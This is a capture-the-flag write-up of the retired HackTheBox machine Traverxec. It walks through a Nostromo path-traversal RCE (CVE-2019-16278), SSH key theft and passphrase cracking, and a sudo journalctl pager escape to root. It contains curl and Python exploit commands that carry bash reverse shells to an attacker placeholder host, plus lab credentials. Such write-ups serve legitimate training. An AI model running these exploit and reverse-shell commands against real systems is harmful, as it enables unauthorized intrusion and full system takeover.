~ / foobarto.me / htb-machines
--:--:-- UTC
~ / htb-machines / traverxec.md

traverxec

Linux · Easy · released 2019-11-16 · retired 2020-04-11

Summary

Traverxec is a Linux Easy built on three precise lessons: a path traversal to RCE in the Nostromo web server (CVE-2019-16278), SSH key recovery from a per-user Nostromo web directory, and journalctl sudo privilege escalation via terminal-size manipulation to force pager invocation.

The kill-chain is: CVE-2019-16278 on Nostromo 1.9.6 → www-data shell → nhttpd.conf reveals that per-user public_www/ directories are served → the backup-ssh-identity-files.tgz in david’s web directory contains an encrypted SSH key → John the Ripper cracks the passphrase → SSH as davidserver-stats.sh reveals a sudo journalctl -n5 rule → shrinking the terminal below 5 lines forces less as the pager → !/bin/bash inside less spawns a root shell.

The privesc is particularly instructive: the sudo rule explicitly limits output to five lines (-n5) to prevent pager invocation, but that defence depends on terminal height. An attacker who controls their own terminal size can defeat the -n limit and reach the pager regardless.

Source attribution

Recon

nmap -sC -sV -oN nmap/initial.txt <TARGET>
22/tcp  open  ssh      OpenSSH 7.9p1 Debian 10+deb10u1
80/tcp  open  http     nostromo 1.9.6

Only two ports. The nostromo banner on port 80 is the complete fingerprint: version 1.9.6 has a published RCE CVE. No further enumeration of the web surface is needed before running the exploit.

Foothold — CVE-2019-16278 (Nostromo nhttpd path traversal RCE)

Nostromo nhttpd 1.9.6 and earlier contain insufficient path sanitisation in the http_verify() function. A URL-encoded carriage return (%0d) inserted between path traversal components (..) bypasses the path check and allows the traversal to reach the CGI execution path, which calls execve() with attacker-supplied input. The vulnerability requires no authentication.

Manual curl one-liner (0xdf preferred method):

# attacker listener
nc -lvnp 443

# exploit — POST body is the shell command
curl -s -X POST \
    'http://<TARGET>/.%0d./.%0d./.%0d./bin/sh' \
    -d '/bin/bash -c "/bin/bash -i >& /dev/tcp/<ATTACKER>/443 0>&1"'

The traversal /.%0d./.%0d./.%0d./ resolves to /../../../ after URL decoding, reaching /bin/sh. The POST body is the command passed to sh.

Python PoC (ExploitDB 47837):

python3 cve2019_16278.py <TARGET> 80 'bash -c "bash -i >& /dev/tcp/<ATTACKER>/443 0>&1"'

Either method delivers a shell as www-data.

SSH key recovery from per-user web directory

With a www-data shell, read the Nostromo configuration:

cat /var/nostromo/conf/nhttpd.conf
homedirs        /home
homedirs_public public_www

These two directives enable per-user web directories. For any user <name> with a ~/public_www/ subdirectory, Nostromo serves it at http://<TARGET>/~<name>/. Importantly, www-data can access /home/david/public_www/ directly via filesystem path even though /home/david/ has drwx--x--x permissions (the --x grants traverse but not list access — you must know the subdirectory name).

ls /home/david/public_www/protected-file-area/
# backup-ssh-identity-files.tgz

Copy the archive to a writable location and download it:

cp /home/david/public_www/protected-file-area/backup-ssh-identity-files.tgz /tmp/
# on attack machine:
curl http://<TARGET>/~david/protected-file-area/backup-ssh-identity-files.tgz \
    -o backup.tgz --user david:Nowonly4me
# (HTTP Basic Auth protected; alternatively scp/nc from the foothold shell)

Extract locally:

tar xzvf backup.tgz
# → home/david/.ssh/id_rsa  (encrypted)

Crack the RSA key passphrase with John:

ssh2john home/david/.ssh/id_rsa > id_rsa.hash
john id_rsa.hash --wordlist=/usr/share/wordlists/rockyou.txt

Passphrase: hunter.

chmod 600 home/david/.ssh/id_rsa
ssh -i home/david/.ssh/id_rsa david@<TARGET>
# passphrase: hunter

user.txt is at /home/david/user.txt.

Privilege escalation — sudo journalctl terminal-size manipulation

david@traverxec:~$ cat ~/bin/server-stats.sh
#!/bin/bash
...
/usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service | /usr/bin/cat

The script pipes journalctl output through cat, which prevents less from being invoked as pager. But the script reveals the underlying sudo rule. Check sudo -l directly:

User david may run the following commands on traverxec:
    (root) NOPASSWD: /usr/bin/journalctl -n5 -unostromo.service

journalctl uses $LESS / the configured pager when output exceeds the current terminal height. The -n5 flag limits output to five lines; the intention is that five lines are shorter than any practical terminal, preventing pager invocation. But the attacker controls terminal height.

Resize the terminal to fewer than 5 lines before running the command:

stty rows 4
sudo /usr/bin/journalctl -n5 -unostromo.service

With the terminal at 4 rows, even 5 lines of output overflows the screen and journalctl invokes less. From inside less, shell escape:

!/bin/bash

less forks /bin/bash inheriting root privileges from sudo:

root@traverxec:/home/david# id
uid=0(root) gid=0(root) groups=0(root)

root.txt is at /root/root.txt.

Why each step worked

Counterfactuals

Key Takeaways

References

← all htb machines hackthebox.com ↗